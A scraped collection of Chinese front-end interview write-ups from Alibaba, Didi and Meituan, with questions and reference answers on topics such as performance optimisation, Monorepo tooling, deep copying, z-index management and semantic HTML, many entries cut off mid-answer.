理解首屏加载的定义及关键性能指标（如 FCP、TTI）
掌握多种前端性能优化手段，涵盖资源、网络、渲染等层面
能结合具体技术和业务场景，说明优化实施细节
理解优化过程中的权衡与监控方法

二、参考答案

1.1 首屏加载的概念与性能指标

首屏加载：用户打开页面到看到页面主要内容（首屏内容）完整渲染的时间

阿里巴巴-社招-1年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 11:47:07 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

参考答案

一、考察点

是否理解 Plugin 在 Webpack 中的作用和工作机制
- Plugin 是 Webpack 最核心的扩展机制之一
是否掌握编写 Plugin 的基本方法和生命周期
- 了解 compiler、compilation、钩子（hooks）等概念
能否结合实际项目场景说明使用插件的案例和目的

滴滴-社招-5年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 06:07:53 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 10 道题。答案默认折叠，便于先自行作答。

1. 介绍一下你觉的最有成就感的项目

题目要点

略

参考答案

略

2. 项目为什么选择Lerna+Yarn Workspaces构建Monorepo

题目要点

Monorepo 实现多包统一管理，提升代码复用和维护效率
Lerna 管理版本发布、变更检测、脚本执行
Yarn Workspaces 优化依赖安装，支持本地包软链接
两者结合，实现高效、便捷的 Monorepo 构建和维护
适合大型复杂项目及多包同步开发场景

参考答案

一、考察点

理解 Monorepo 的概念及优势
- 多个相关包/模块统一管理、版本控制、发布流程等
掌握 Lerna 与 Yarn Workspaces 的功能和配合方式
- 包管理、依赖安装优化、版本发布、脚本执行等
能够分析技术选型的利弊和实际应用场景
- 团队协作、构建效率、依赖一致性等
展示架构设计思路和实践经验

二、参考答案

1.1 原理说明

Monorepo 概念

将多个相关的项目包（packages）放在同一代码仓库中统一管理
便于代码复用、版本统一、跨包协调

Lerna 功能

管理 Monorepo 中多个包的版本发布和依赖关系
支持基于 Git 的变更检测，自动决定哪些包需要发布
脚本集中执行，提升跨包开发效率

Yarn Workspaces 功能

优化依赖安装，自动将多个包的依赖扁平化安装，避免重复依赖
支持包之间的本地软链接，方便跨包开发调试
减少 node_modules 大小，提升安装速度

Lerna + Yarn Workspaces 配合优势

Lerna 专注版本和发布管理
Yarn Workspaces 专注依赖管理和安装优化
组合使用，实现 Monorepo 的高效管理和性能提升

1.2 核心用法 + 选择理由

选择 Lerna + Yarn Workspaces 的具体理由

依赖管理高效：Yarn Workspaces 扁平化依赖树，减少冗余，提高安装速度，节省磁盘空间
版本发布便捷：Lerna 支持自动检测改动包，实现增量发布，减少发布成本
跨包开发友好：Workspaces 实现包间软链接，调试时无需发布即可实时联动
统一管理多个包：代码结构清晰，版本一致性好，避免包版本冲突
社区成熟稳定：Lerna 和 Yarn 是成熟开源项目，生态完善，文档丰富

使用场景举例

大型前端项目拆分为多个业务组件包
同时管理多个相关 npm 包，需同步发布和升级
需要提升 CI/CD 流程效率和开发体验

1.3 常见误区或面试陷阱

❌ 误区一：认为 Lerna 可以独立完成所有 Monorepo 管理工作

实际 Lerna 本身不管理依赖安装，需配合 Workspaces 或 npm/yarn 其他特性

❌ 误区二：忽视依赖扁平化带来的版本冲突风险

需要合理规划依赖版本，避免冲突和不兼容

❌ 误区三：Monorepo 不适合所有项目，盲目迁移可能增加复杂度

适用项目规模和团队协作需求需评估清楚

3. 如何解决子包间的循环依赖问题

题目要点

循环依赖会导致加载异常和维护困难
抽取公共模块拆分依赖，消除环路
使用接口抽象和依赖注入解耦
动态导入延迟加载，规避同步循环
设计单向依赖，保持依赖关系 DAG
配合工具检测和团队规范防范

参考答案

一、考察点

理解循环依赖的概念及危害

滴滴-社招-5年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 06:01:19 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 作用域链与闭包、全方位解读this、函数柯里化、原型链与继承、DOM操作、深拷贝/浅拷贝、call、apply和bind

本轮共 24 道题。答案默认折叠，便于先自行作答。

1. 深拷贝浅拷贝有什么区别？怎么实现深拷贝？

题库原题：深拷贝浅拷贝有什么区别？怎么实现深拷贝？

题目要点

JS数据类型分别基本数据类型和引用数据类型，基本数据类型保存的是值，引用类型保存的是引用地址(this指针)。

浅拷贝共用一个引用地址，深拷贝会创建新的内存地址。

浅拷贝方法

直接对象复制
Object.assign

深拷贝

JSON.stringify转为字符串再JSON.parse
深度递归遍历

参考答案

一、数据类型存储

前面文章我们讲到，JavaScript中存在两大数据类型：

基本类型
引用类型

基本类型数据保存在在栈内存中

引用类型数据保存在堆内存中，引用数据类型的变量是一个指向堆内存中实际对象的引用，存在栈中

二、浅拷贝

浅拷贝，指的是创建新的数据，这个数据有着原始数据属性值的一份精确拷贝

如果属性是基本类型，拷贝的就是基本类型的值。如果属性是引用类型，拷贝的就是内存地址

即浅拷贝是拷贝一层，深层次的引用类型则共享内存地址

下面简单实现一个浅拷贝

function shallowClone(obj) {
 const newObj = {};
 for(let prop in obj) {
 if(obj.hasOwnProperty(prop)){
 newObj[prop] = obj[prop];
 }
 }
 return newObj;
}

在JavaScript中，存在浅拷贝的现象有：

Object.assign
Array.prototype.slice(), Array.prototype.concat()
使用拓展运算符实现的复制

Object.assign

var obj = {
 age: 18,
 nature: ['smart', 'good'],
 names: {
 name1: 'fx',
 name2: 'xka'
 },
 love: function () {
 console.log('fx is a great girl')
 }
}
var newObj = Object.assign({}, obj);

slice()

const fxArr = ["One", "Two", "Three"]
const fxArrs = fxArr.slice(0)
fxArrs[1] = "love";
console.log(fxArr) // ["One", "Two", "Three"]
console.log(fxArrs) // ["One", "love", "Three"]

concat()

const fxArr = ["One", "Two", "Three"]
const fxArrs = fxArr.concat()
fxArrs[1] = "love";
console.log(fxArr) // ["One", "Two", "Three"]
console.log(fxArrs) // ["One", "love", "Three"]

拓展运算符

const fxArr = ["One", "Two", "Three"]
const fxArrs = [...fxArr]
fxArrs[1] = "love";
console.log(fxArr) // ["One", "Two", "Three"]
console.log(fxArrs) // ["One", "love", "Three"]

三、深拷贝

深拷贝开辟一个新的栈，两个对象的属性完全相同，但是对应两个不同的地址，修改一个对象的属性，不会改变另一个对象的属性

滴滴-社招-3年 · 第 1 轮 · 三面

Mon, 28 Jul 2025 05:39:29 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

输入: num1 = "2", num2 = "3"
输出: "6"

示例 2:

输入: num1 = "123", num2 = "456"
输出: "56088"

题目要点

模拟多位数乘法的过程，按位乘积+进位合并
用数组保存每一位的计算结果，最终拼接成字符串
注意字符串转数字、进位处理、前导 0 清除等细节
不允许使用 BigInt、Number 等将字符串转换为数字

参考答案

考察点

考察对字符串操作的熟练程度和大数模拟乘法逻辑实现能力
掌握多位数相乘的数学原理，模拟竖式乘法
考察对数组操作、进位处理、边界情况的处理能力

参考答案

一、原理说明

由于不能直接将字符串转为整数，需模拟“逐位乘法 + 进位处理”，如同手动计算多位乘法（竖式）一样：

滴滴-社招-3年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 03:27:35 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

参考答案

考察点

理解模块化和组件化的概念及其在前端开发中的重要性
熟悉常见的模块化规范（如 CommonJS、ES Module）及其区别
掌握组件化设计思想和实现方式，尤其是在主流框架中的实践
能结合项目需求合理组织代码结构，提高复用性和维护性

参考答案

一、原理说明

模块化 指将代码拆分成独立的、功能明确的模块，每个模块有自己的作用域和接口，避免全局污染，提高代码可维护性。
- 常见规范包括：
  - CommonJS（Node.js环境，使用 require 和 module.exports）
  - AMD（异步模块定义，适用于浏览器异步加载）
  - ES Module（ESM）（现代标准，使用 import 和 export，支持静态分析）
组件化 是模块化的进一步细化，专注于 UI 层面，将界面拆分成独立且可复用的组件，封装逻辑、样式和结构。
- 组件通常包含状态管理、事件处理、生命周期管理等，方便组合和维护。
- 主流框架如 Vue、React、Angular 都鼓励基于组件开发。

二、项目中模块化和组件化的实践

1. 模块化管理

项目采用 ES Module 作为标准模块规范，利用 import 和 export 进行模块间依赖管理。
通过合理拆分功能模块（如工具库、接口服务、状态管理、业务逻辑）形成清晰的依赖关系，便于维护和测试。
使用构建工具（Webpack、Vite）支持模块打包和代码分割，提高加载效率。
配合 alias 和路径管理，保持模块引用简洁，提升开发体验。

2. 组件化设计

界面层面，拆分成粒度合适的可复用组件，满足单一职责原则。
采用状态提升、属性传递和事件回调机制实现组件间通信。
使用组件库（如 Element UI、Ant Design）或自研组件库提升开发效率。
结合样式模块化（CSS Modules、Scoped CSS、CSS-in-JS）实现样式隔离，防止样式冲突。
组件支持配置化和插槽机制，提高灵活性和扩展性。

3. 代码组织结构

按业务域或功能划分文件夹，模块和组件分层清晰，便于定位和扩展。
统一入口导出，方便模块聚合和复用。
编写完善的文档和规范，确保团队成员对模块和组件使用方式达成共识。

4. 优势与价值

提高代码复用率，减少重复开发和维护成本。
降低耦合度，提升系统可扩展性。
加快开发节奏，方便多人协作。
利用现代构建工具实现性能优化。

三、常见误区与注意点

模块划分过细或过粗 导致管理困难或代码臃肿，需根据项目复杂度合理拆分。
组件职责不明确，混合业务逻辑和表现层，影响复用和测试。
忽视样式隔离，导致样式污染和冲突。
组件间通信设计不合理，导致状态管理混乱。
忽略模块和组件的性能优化，如避免无意义的重新渲染和重复加载。

4. 项目中做过哪些性能优化方面的工作

题目要点

资源按需加载与代码拆分减少首屏加载时间
静态资源压缩、合并和 CDN 加速
图片优化与懒加载
减少 DOM 操作，合理使用虚拟 DOM
JS 任务拆分，使用防抖节流和 Web Worker
接口合并、缓存和 HTTP/2 多路复用
持续性能监控与数据驱动优化
避免过度拆分和缓存策略失误
注重整体性能和用户设备多样性

参考答案

考察点

理解前端性能优化的核心目标与常见瓶颈
掌握多种性能优化手段及其适用场景
能结合具体项目场景，分析问题并提出有效优化策略
熟悉常用性能监控和评估工具，验证优化效果

参考答案

一、原理说明

前端性能优化的核心目标是提升页面加载速度、响应速度和交互流畅度，从而改善用户体验，降低用户流失。
性能瓶颈通常来源于资源加载慢、渲染阻塞、JavaScript 执行耗时、内存泄漏和网络请求频繁等。
现代性能优化涉及多个层面，包括网络层、资源层、渲染层和代码执行层。
性能优化不仅是技术问题，更涉及合理架构设计和业务合理拆分。

二、项目中的具体优化实践

1. 资源加载优化

采用代码拆分（Code Splitting）和按需加载，避免一次性加载大量无关代码，缩短首屏加载时间。
使用 CDN 分发静态资源，提升资源下载速度。
资源压缩和合并（如压缩 JS/CSS，合并小文件减少请求数量）。
图片优化（WebP 格式替代、图片懒加载、合理尺寸裁剪）。
利用浏览器缓存策略（Cache-Control、Service Worker）减少重复请求。

2. 渲染性能优化

减少 DOM 操作次数，合并多次修改，避免触发频繁回流和重绘。
使用虚拟 DOM 和虚拟列表技术优化大量数据渲染。
CSS 动画尽量使用 GPU 加速属性（如 transform、opacity）。
避免长任务阻塞主线程，合理拆分 JS 任务，防止界面卡顿。

3. JavaScript 执行优化

减少不必要的计算和事件绑定，防抖节流常用来优化频繁触发的事件。
使用 Web Worker 将计算密集型任务移至后台线程，避免主线程阻塞。
利用 Tree Shaking 去除未使用代码，减小包体积。
预编译和缓存机制提升运行效率。

4. 网络请求优化

接口合并，减少请求次数。
接口缓存，避免重复请求同一数据。
接口压缩与批量请求。
使用 HTTP/2 多路复用，提升请求并发性能。

5. 性能监控与持续优化

集成性能监控工具（如 Lighthouse、Chrome DevTools Performance、RUM 埋点等）。
通过埋点监控首屏时间、接口响应时间、动画帧率等关键指标。
根据监控数据持续跟踪性能瓶颈，迭代优化。

三、常见误区与注意点

只注重单一优化手段，忽视整体性能提升策略。
盲目过度拆分导致请求过多，反而影响性能。
缓存设置不合理，导致用户看到过期内容。
不关注性能监控数据，缺乏闭环改进。
忽视用户设备差异，优化方案不够适配低端设备。

5. 在移动端开发中，你们是如何处理不同设备的适配问题的

题目要点

了解并使用 viewport 设置布局基础
灵活组合 rem/vw/flex/media query 等单位和布局方案
使用 postcss 工具链统一适配流程
考虑高DPR设备图像清晰度适配
针对横屏、Pad 等极端设备考虑额外样式方案
注重兼容性测试，处理浏览器差异

参考答案

考察点

是否了解常见的移动端适配方案及原理
是否能结合业务场景选择合理的适配策略
是否关注兼容性、用户体验和性能平衡
是否能系统性总结适配技术手段的优缺点

参考答案

一、适配问题的来源

移动端设备种类繁多，存在如下适配挑战：

滴滴-社招-3年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 03:15:10 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： z-index、布局技巧、Flexbox、优化性能、react hooks、浏览器渲染过程、浏览器的缓存机制、浏览器的垃圾回收机制

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 讲一下可视化搭建平台中魔方组件的设计与实现难点

题目要点

略

参考答案

略

2. 如何解决多模块叠加时的z-index管理问题

题目要点

z-index 基于层叠上下文，简单数字不能保证全局一致性
建立统一 z-index 管理系统（如 Z_INDEX_MAP）是可维护的关键
模块内部创建局部 stacking context，避免全局冲突
动态模块如拖拽、浮层应使用自动 z-index 分配策略
避免滥用 z-index，建议结合 portal、绝对定位和容器设计实现可控叠加

参考答案

考察点

面试官想了解你在复杂 UI 组件系统中的图层管理策略
探查你对 z-index 的工作机制、层级上下文（stacking context）的理解
是否具备系统化组织多模块图层关系的经验，能避免冲突和错乱

参考答案

一、z-index 背后机制与问题本质

1. z-index 的作用机制

z-index 定义元素在“同一层叠上下文（stacking context）”中的前后顺序
层叠上下文由具有特定属性的元素（如position: relative/absolute/fixed + z-index）创建
每个层叠上下文是独立的，只影响自身子元素的层叠关系

2. 可视化搭建系统的典型挑战

多模块（如弹窗、悬浮面板、组件拖拽层、选中态）频繁叠加，若统一用裸 z-index 数字管理，非常容易：
- 维护混乱
- 层级冲突（某组件盖住了弹窗）
- 模块互相影响，难以解耦

二、系统化的 z-index 管理方案

1. 建立统一的层级管理规范（z-index Map）

在系统中定义一套统一的 z-index 枚举表，例如：

export const Z_INDEX_MAP = {
 base: 0,
 component: 10,
 floatingPanel: 100,
 modal: 1000,
 tooltip: 2000,
 dragLayer: 3000,
 globalMask: 9999,
};

所有模块只能从该映射中引用 z-index，禁止硬编码数字，避免冲突

2. 模块隔离，建立明确的层叠上下文边界

使用 position: relative/absolute + z-index，每个模块在其容器内控制层级
避免所有元素在一个全局层叠上下文中争夺 z-index

3. 动态 z-index 分配机制（如拖拽时临时置顶）

为拖拽、临时弹出等模块动态分配最高层级，例如：

let dynamicZIndex = Z_INDEX_MAP.dragLayer;
function getNextZIndex() {
 return dynamicZIndex++;
}

使多个拖拽元素在交互中可动态置顶，不影响整体秩序

4. 可视化调试工具辅助

引入 DevTool 插件或内嵌 z-index 层级可视化辅助组件，用不同颜色或 label 显示当前模块层级，便于调试

三、z-index 冲突的实际案例与应对策略

问题：浮层 A（z-index: 200）被浮层 B（z-index: 100）遮挡

美团-本地商业-校招 · 第 1 轮 · 一面

Mon, 28 Jul 2025 02:44:46 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要聚焦于前端中高级技术深度和实际项目经验的考察。重点涵盖了前端工程化与性能优化（如Webpack优化、首屏加载、HTTP缓存、CDN等）、JavaScript运行机制与高级特性（事件循环、宏微任务、Vue 2/3响应式原理、数组操作等），以及Web安全与系统设计（如XSS防御、HTTPS原理、持久化登录系统设计）。此外，还深入探讨了跨平台开发（Uni-App/Taro原理及选型）和微前端架构的关键考量点。面试官旨在通过这些题目，全面评估候选人在复杂业务场景下的技术选型、问题分析与解决能力，以及对前端底层原理和安全实践的掌握程度。

本轮共 18 道题。答案默认折叠，便于先自行作答。

1. 简单介绍你的技术背景和项目经验。

题目要点

说明：该题是典型的主观型问题，没有唯一的标准答案。
考察目标：面试官主要考察答题者的自我认知、表达能力、技术广度与深度、以及对自身项目经验的复盘和总结能力。
答题结构建议：建议围绕"我是谁"、“我会什么”、“我做过什么"三个核心点展开，并结合具体项目经验突出个人优势和亮点。

参考答案

很高兴能有机会介绍一下我的技术背景和项目经验。我叫[你的名字]，毕业于[你的学校和专业]，在校期间我对前端技术产生了浓厚兴趣，系统学习了HTML、CSS和JavaScript基础。毕业后，我加入了[你的公司名称]，至今有[X]年的前端开发经验。

在职业生涯中，我主要专注于[你的主要技术方向，如Web应用开发、跨平台开发、前端性能优化等]。我熟练掌握Vue.js（或React）框架及其生态系统，包括状态管理（Vuex/Pinia或Redux/MobX）、路由管理（Vue Router或React Router）和构建工具（Webpack/Vite）。同时，我对Node.js也有一定了解，能够进行一些基础的后端协作或独立开发前端工具。

在[公司名称]，我参与了[项目名称，可以是核心项目或最有代表性的项目]的开发工作。这个项目是一个[简单描述项目类型，如中后台管理系统、电商平台、数据可视化平台]。我在其中主要负责[具体职责，如负责XX模块的开发、实现YY功能、进行ZZ性能优化]等。

举个例子，在[具体项目或模块]中，我们遇到了[一个具体的技术挑战，如首屏加载慢、组件复用性差、跨端适配问题]。为了解决这个问题，我当时[你采取的具体措施和方案，如引入了Webpack的SplitChunksPlugin进行代码分割、设计了通用组件库并结合Slots/Props实现高复用、使用了Uni-App的条件编译处理平台差异]。最终，[达到的效果和数据，如首屏加载时间从5s优化到1s、组件复用率提升了30%、成功支持了微信和支付宝小程序]。这次经历让我深刻理解了[你的收获和思考，如前端性能优化的重要性、组件化设计的价值、跨平台开发的权衡点]。

我不仅关注代码实现，也注重项目的整体质量和用户体验，善于发现问题并积极寻求解决方案。我也乐于学习和探索新技术，保持对前端前沿的关注。谢谢。

2. 项目中遇到的性能优化挑战是什么？具体如何解决的？

题目要点

说明：该题是典型的主观型问题，没有唯一的标准答案。
考察目标：面试官主要考察答题者在实际项目中发现、分析和解决性能问题的能力，包括对性能指标的理解、优化策略的掌握以及实际操作经验和复盘能力。
答题结构建议：建议按照"背景/挑战 -> 如何分析 -> 具体优化措施 -> 优化效果与思考"的结构展开，突出解决问题的思路和细节。

参考答案

在[你的项目名称，如电商H5页面/管理后台]项目中，我们曾面临一个比较明显的性能挑战，主要体现在**[具体场景，如首页首屏加载时间过长，达到了5秒以上；或者某个复杂列表页在滚动时出现卡顿]**。这严重影响了用户体验，尤其是在移动网络环境下，导致用户跳出率较高。

为了定位问题，我们首先借助了Chrome DevTools (Lighthouse、Performance面板) 进行分析。通过对加载瀑布流、CPU使用率和内存占用进行观察，我们发现主要瓶颈在于：

[具体瓶颈1，如：主JS包体积过大，导致解析和执行时间长]。
[具体瓶颈2，如：图片资源未优化，大量高清大图直接加载，占用带宽]。
[具体瓶颈3，如：复杂组件渲染耗时，导致回流重绘频繁，引起卡顿]。

针对这些问题，我们采取了以下具体的优化措施：

代码分割与按需加载：针对主JS包体积过大的问题，我们引入了Webpack的SplitChunksPlugin，结合路由懒加载（或组件懒加载）。将不同路由页面的代码和不常用的第三方库进行拆分，例如：component: () => import('./views/OrderDetail.vue')。这样，用户首次访问时只需要加载当前页面的核心代码，显著减少了首屏JS的下载和解析量。
图片优化：对于图片资源，我们采取了多项措施：
- 图片压缩：对项目中的所有图片资源进行了统一的无损压缩处理，并推荐设计师使用WebP格式的图片。
- 懒加载：对于首屏之外的图片，我们实现了图片懒加载，只有当图片进入用户视口时才进行加载，避免了不必要的资源请求。
- CDN加速：将静态图片资源部署到CDN，利用CDN的边缘节点分发，减少了网络延迟。
组件渲染优化：针对复杂组件的卡顿问题，我们做了以下工作：
- 虚拟列表/长列表优化：对于数据量大的列表页，我们引入了虚拟列表技术，只渲染可视区域内的DOM节点，减少了DOM数量，大幅提升了滚动流畅度。
- 避免不必要的渲染：在Vue/React组件中，合理使用v-if/v-show、keep-alive、React.memo/PureComponent等，结合shouldComponentUpdate（React）或计算属性/监听器（Vue）来避免组件的重复渲染。
- 减少回流重绘：优化了DOM操作，减少了频繁读写布局属性，例如将多个样式修改合并为一次操作，或者使用CSS的transform代替left/top进行动画。

经过这些优化，我们的**[项目名称]首页首屏加载时间成功从5秒降低到了2秒以内**（或更具体的数据），用户反馈页面的流畅度也有了显著提升，这对业务转化率带来了积极影响。这次优化经历让我对前端性能优化有了更系统和深入的理解，也认识到性能优化是一个持续的过程，需要贯穿于项目的整个生命周期中。我们会定期进行性能监控和分析，确保用户体验。谢谢。

3. 如果让你主导一个跨平台电商项目，如何选择技术栈？

题目要点

技术栈选型能力：面试官想考察候选人是否具备从宏观层面规划项目技术栈的能力，包括对主流前端框架、跨平台技术以及相关生态的了解。
对跨平台开发的深入理解：考察候选人是否清楚跨平台开发的核心痛点（如性能、体验、API兼容性），并能提出针对性的解决方案。
系统设计和权衡能力：评估候选人能否在性能、开发效率、维护成本、团队能力、业务需求等多个维度之间进行权衡和取舍。
对电商领域特点的认知：了解候选人是否对电商项目特有的需求（如商品展示、购物车、支付、大促活动）有前瞻性思考，并能在技术选型中体现。

参考答案

1.1 原理说明

跨平台电商项目通常是指一个产品需要同时在Web（H5）、微信小程序、支付宝小程序、App（iOS/Android）等多个终端运行，并且希望尽可能复用代码，降低开发和维护成本。技术栈选择是一个复杂的决策过程，需要综合考虑项目的业务需求、性能要求、开发效率、团队技术栈、维护成本以及社区生态等多方面因素。

滴滴-社招-2年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 02:28:18 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

参考答案

考察点

面试官希望了解你是否具备工程化思维
是否熟悉当前项目所用的脚手架工具及其底层实现原理
是否理解脚手架在项目初始化、规范约定、自动化等方面的作用
是否具备定制或维护脚手架的能力

参考答案

一、常用脚手架工具及我们团队的选择

我们项目主要使用的是：

Vue 项目：使用 @vue/cli、vite 或公司自研的内部模板系统
React 项目：早期使用 create-react-app，后续迁移为 Vite + 自定义模板
自研脚手架：基于 Plop.js、Yeoman、Commander 或 create-* 实现，通过 Node.js 实现项目初始化、目录结构生成、依赖安装、git 初始化等功能

二、脚手架的核心功能

初始化项目结构（生成项目目录和基础文件）
注入标准化配置（eslint、prettier、commitlint、husky、tsconfig等）
自动安装依赖（npm/yarn/pnpm install）
选择模板和功能模块（用户选择功能特性，动态生成对应模块）
自定义交互式命令行（CLI）（使用 inquirer 等库实现配置选择）
生成代码片段/组件（如 plop generate component）

三、脚手架的实现原理

脚手架本质上是基于 Node.js 脚本，通过命令行交互完成初始化和代码生成，主要原理包括：

滴滴-社招-2年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 02:20:14 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 生命周期、Vue3 API、响应式原理、v-for、事件循环

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 为什么使用
而非

题目要点

<header>是HTML5语义化标签，明确头部区域含义
语义化标签有助于SEO和辅助技术识别
提高代码可读性和维护性，减少依赖类名赋予语义
推荐优先使用语义标签代替无语义的<div>+类名组合

参考答案

考察点

理解HTML语义化标签的重要性及作用
掌握语义化标签对SEO和无障碍的影响
了解语义化标签在开发协作和维护中的优势

参考答案

一、语义化标签的核心概念

HTML5引入了如 <header>、<nav>、<article>、<footer> 等语义化标签，明确表达页面结构和内容含义
语义化标签比普通 <div> 搭配类名更具意义，利于浏览器、搜索引擎、辅助设备等理解页面

二、使用 `<header>` 的优势

明确语义
- <header>表示页面或区块的头部区域，包含标题、导航等信息
- 比 <div class="header"> 直接通过类名赋予语义更标准、易识别
提升可访问性
- 语义化标签被屏幕阅读器等辅助技术识别，帮助视障用户理解页面结构
- <header>使辅助设备快速定位页眉内容，提升用户体验
SEO友好
- 搜索引擎利用语义标签准确抓取页面结构和重点内容
- 语义标签利于内容分类和权重判断，可能提高搜索排名
代码规范与维护
- 语义化标签增强代码自解释性，方便团队协作和代码维护
- 减少对类名、ID等非结构性属性的依赖，代码更简洁清晰

三、使用场景对比

<header>适合定义页面或区块的头部区域
<div class="header">仅作为普通容器，没有内置语义
两者均可通过CSS样式控制外观，但语义化标签具备结构语义

2. SEO和可访问性有何影响

题目要点

语义化标签提升SEO抓取效率和内容权重分配
结构化页面内容，增强搜索引擎对重点信息的识别能力
语义标签是辅助技术识别页面结构的关键，提升可访问性
有助于残障用户快速导航和理解页面
符合无障碍标准，降低法律和合规风险

参考答案

考察点

理解SEO（搜索引擎优化）对网页结构和内容的重要性
掌握语义化标签对搜索引擎抓取的正面影响
了解可访问性（Accessibility）概念及辅助技术如何利用语义标签
能说明如何通过结构优化提升用户体验及业务价值

参考答案

一、SEO影响

语义化标签助力搜索引擎理解页面结构

滴滴-社招-1年 · 第 1 轮 · 三面

Mon, 28 Jul 2025 02:03:06 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 介绍一下实习项目的业务背景（这块说了蛮久）

题目要点

略

参考答案

略

2. 假如你是一个项目的负责人，面对一个新需求你会如何判断以及决策

题目要点

业务价值与需求背景明确 / 技术可行性与风险评估 / 资源与时间合理估算
多方案设计与优劣比较 / 风险预判及缓解措施
结合团队和业务做权衡决策 / 明确执行计划与责任 / 持续跟进与复盘优化
沟通协调能力和风险管理能力是关键
决策既考虑短期交付，也兼顾长期维护和团队承受能力

参考答案

考察点

评估候选人对需求分析和项目管理流程的理解
探查其在技术可行性、资源评估、风险管理等方面的判断能力
了解候选人如何在多方利益、时间与质量之间做权衡决策
关注其沟通协调和方案落地的思路

参考答案

一、需求理解与评估

明确需求背景和目标
- 充分沟通业务方，理解需求的业务价值、核心目标和痛点
- 判断该需求是新增功能、优化还是技术债清理
技术可行性分析
- 评估现有系统架构、技术栈对该需求的支持程度
- 识别技术难点和潜在风险，如性能、安全、兼容性等问题
资源与时间评估
- 估算开发、测试、上线所需的人力、时间和成本
- 考虑团队现有工作负载，排期合理性

二、方案设计与风险控制

设计多套实现方案
- 比较不同方案的优劣，如技术复杂度、扩展性、维护成本
- 结合业务优先级和技术条件选择最优方案
风险预判与缓解
- 识别潜在风险点，设计应对措施（如技术预研、灰度发布）
- 规划阶段性验收，快速反馈，减少偏差

三、决策与执行

结合业务战略和团队实际作出决策
- 权衡需求价值与资源限制，明确是否优先推动或延期
- 与产品、设计、测试等多方协作，达成共识
推动方案落地
- 制定详细开发计划，分解任务，明确负责人和时间节点
- 跟踪进展，快速解决过程中出现的问题
复盘与优化
- 需求完成后组织复盘，总结经验，优化流程

3. 功能上线后如何判断这个功能上线前后的影响和优化有多少呢

题目要点

明确功能目标和关键评估指标 / 多渠道数据采集与监控
功能上线前后指标对比 / A/B测试验证功能效果
用户反馈与定性分析辅助判断
定位影响原因，制定优化方案
持续监控、复盘和迭代形成闭环
兼顾数据驱动与用户体验

参考答案

考察点

理解功能上线后效果评估的重要性及方法
掌握多维度数据监控和指标分析手段
能结合业务目标设计合理的评估方案
理解A/B测试、用户行为分析、性能监控等工具的应用
关注持续优化与反馈闭环

参考答案

一、明确评估目标和关键指标（KPI）

结合业务目标确定功能上线的核心衡量指标，如用户活跃度、转化率、留存率、错误率等
设计具体可量化的指标体系，保证评估具备科学性和针对性

二、数据采集与监控

利用埋点、日志采集用户行为数据，覆盖点击、浏览、交互等关键操作
结合前端性能监控（如首屏时间、接口响应时间）与错误监控（JS报错、接口失败）
设置告警机制，实时监测异常情况

三、功能上线前后的对比分析

历史对比：将上线前后的关键指标进行趋势对比，分析变化幅度和方向
同类用户对比：如果可行，采用A/B测试，控制组与实验组对比，确保因果关系明确
用户反馈收集：结合用户调查、客服反馈等定性信息辅助判断

四、分析影响及优化空间

识别指标波动背后的具体原因，如性能瓶颈、交互体验问题等
结合用户反馈发现潜在需求或痛点
制定针对性优化方案，优先解决影响最大的瓶颈

五、持续迭代与复盘

将监控和分析形成常态化流程，确保功能优化闭环
定期复盘评估结果，总结经验教训
结合业务目标调整优化策略，持续提升功能效果

4. 有去了解过用户反馈最多的问题或者诉求最强的问题是什么吗

题目要点

略

滴滴-社招-1年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 01:53:33 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 浏览器渲染过程

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 简单介绍一下你上一段实习中觉得做的比较好的项目

题目要点

略

参考答案

略

2. 想知道你们的项目大概是什么样的结构，你在开发的时候会从什么地方下手

题目要点

理解项目结构和流程是高效开发的基础
先从入口和路由入手，理清全局数据和功能模块
注重调试和测试，减少开发盲点
合理利用团队协作工具提升开发效率
持续学习和总结，快速适应项目迭代

参考答案

考察点

理解典型前端项目的整体结构及模块划分
掌握从项目启动到开发流程的系统思路
能清晰描述如何快速定位入口及关键代码区域
展示合理的开发习惯与代码管理思路
体现对团队协作和版本控制的认知

参考答案

一、典型前端项目结构说明

目录结构
- src/：项目源码，包含页面（Page）、组件（Component）、样式（Styles）、工具函数（Utils）、状态管理（Store）等
- public/ 或 static/：静态资源，如图片、字体、favicon 等
- build/ 或 scripts/：构建相关脚本和配置
- config/：环境配置文件，如开发、测试、生产环境参数
- tests/：单元测试和集成测试代码
- 配置文件如 package.json, .babelrc, webpack.config.js 或 vite.config.js
关键文件
- 入口文件（如 src/main.js、src/index.js）负责挂载应用
- 路由配置文件定义页面导航
- 状态管理文件（如 Vuex、Redux）管理全局状态
- 公共组件库及工具函数模块
- API 接口封装层，统一管理后端请求

二、开发时的切入点及流程

理解业务和需求
- 先明确当前任务目标和业务逻辑
- 查阅需求文档、设计稿和接口文档
定位项目入口
- 从入口文件入手，理清项目启动流程
- 理解路由配置，确定目标页面
代码结构梳理
- 理解页面层与组件层的关系
- 查找关键组件和功能模块的实现
查看状态管理和数据流

滴滴-社招-1年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 01:45:16 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 响应式原理、Webpack与Vite、https、浏览器渲染过程、浏览器的缓存机制

本轮共 19 道题。答案默认折叠，便于先自行作答。

1. 介绍一下简历中的组件库项目

